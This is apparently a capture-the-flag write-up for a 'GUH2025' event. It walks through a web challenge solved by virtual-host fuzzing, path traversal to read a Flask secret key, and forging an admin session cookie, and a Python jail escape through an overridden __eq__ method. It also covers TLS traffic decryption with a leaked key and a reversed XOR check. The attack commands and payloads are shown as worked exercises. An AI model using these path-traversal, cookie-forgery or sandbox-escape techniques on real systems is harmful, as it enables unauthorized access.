Web

First we are given 10.8.0.1:5000 We can find a landing page for logbook and a login directory that says not exposed to the public.

After looking around for a bit, we get nowhere, so we do more enumeration! Enumerating subdomains does not make sense for an IP, so the next best thing is Virtual Hosts.

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.8.0.1:5000 -H "Host: FUZZ.10.8.0.1:5000"
```

We can then find a virtual host `vuln`

Using vuln, we can go to the website again (set the host parameter in the request to vuln.IP:PORT)

```
curl http://10.8.0.1:5000 -H "Host: vuln.10.8.0.1:5000"
# OUTPUT
<html><head><link rel='stylesheet' href='/static/style.css'></head><body><h2>Logbook beta</h2><p>A tiny note viewing app.</p><ul><li
<li><a href="/view?file=coffee-log.txt">coffee-log.txt</a></li>
<li><a href="/view?file=secret-log.txt">secret-log.txt</a></li>
<li><a href="/view?file=welcome.txt">welcome.txt</a></li>
```

So we can see it shows us some new endpoints `view` So setting the `Host` shows new endpoints

After a new scan for directories we can find `admin` aswell

So we are not allowed to view the admin page because of privileges.

If we try to log in as admin, we get a cookie:

```
Set-Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYWRtaW4ifQ==.d58f479369e85971d2cb538db1fcce6943107b32d09349a8fe651912377dfe6
```

We can analyse our cookie and see that it has a username and a role in it. Even though you can set any username through the login endpoint, the role will always remain user. So we probably need to forge a cookie!

For that we need the secret key.

So looking at all the things we have: A web app, the server is Werkzeug, so it is Python (probably flask app), we can view notes using view. Can we find other things other than notes using the view endpoint?

```
curl http://10.8.0.1:5000/view?file=../app.py -H "Host: vuln.10.8.0.1:500"
```

Yes we can! In the app.py we can find the secret key, and the cookie generation funciton.

```
SECRET_KEY = 'supersecret_ctf_key_12345'
...
def make_session(payload_dict):
    payload = json.dumps(payload_dict, separators=(",",":"), sort_keys=True).encode()
    b64 = base64.b64encode(payload).decode()
    sig = hmac.new(SECRET_KEY.encode(), b64.encode(), hashlib.sha256).hexdigest()
    return f"{b64}.{sig}"
...
```

Using the same function and the input as: `{"role":"admin","username":"admin"}` we will get a new cookie.

Using this cookie and accessing the admin page, we get the flag! `GUH2025{n0w_4ou_s3e_m3}`

Pyjail

Looking at the python script, it takes user input, compiles and executes it (as python code) in this safe_eval function. This function uses audithooks and if some illegal action is taken (like user input, opening or reading files, etc) the program will exit without finishing our execution. So we cannot read the flag in the safe_eval function. So we need a way to execute code after the audit hooks have been disabled.

The answer was indeed in 6 7! Your executed function's output is being compared with 67. This triggers the `__eq__` method! So we can override the `__eq__` function to execute arbitrary python code. The only issue is we are bounded by length and we cannot use spaces.

After a lot of pain and suffering, we find this:

```
type('',(),{'__eq__':lambda*_:evel(input())})()
```

We do `eval(input())` because `print(open("flag.txt").read())` is way longer and exceeds the limit.

After this payload, we get a python interpreter like shell (kinda) and we can then run any python oneliner (e.g. `print(open("flag.txt").read())`) Then get the flag! `GUH2025{35c4p3_7h3_j41l}`

Forensics

For this one, we get a zip file of a server In there we can find a network captire file, and a server configuration.

If we open the .pcap file in Wireshark, we can then use the `server/certs/server.key` file and add it to our Edit > Preferences > TLS > RSA Key

This will decrypt the traffic, and we can then find the flag in one of the http packets.

Flag: `GUH2025{r3ad_3ncryp73d_7r4ff1c}`

Reverse Engineering

Here we have a binary executable `rev` It takes user input and if we put in the correct thing we can get the flag.

Opening the binary in ghidra (or another similar program) we can find the order of operations on our input.

```
for (i = 0; i < 27; i++) {
if ((input[i] - i) ^ 0xCC != _t[i]) { fail(); }
}
```

This formula can be inverted to get the original input. Extract the _t array with the help of Ghidra. Use a simple python script to get the original input now that we know everything we know:

```
t = bytes.fromhex(
 "af e3 a0 a8 a2 e3 a2 e2 9b eb a8 98 96 e8 ac 99 "
 "ed 91 eb 80 ef 9f d1 84 9f d6 93"
)
serial = bytes(((b ^ 0xCC) + i) & 0xFF for i, b in enumerate(t))
print(serial.decode('latin-1'))
```

Running the script we get: `c0ngr4t5_0n_f1nd1n9_7h3_k3y` When we input this to the binary we get: `GUH{c0ngr4t5_0n_f1nd1n9_7h3_k3y}`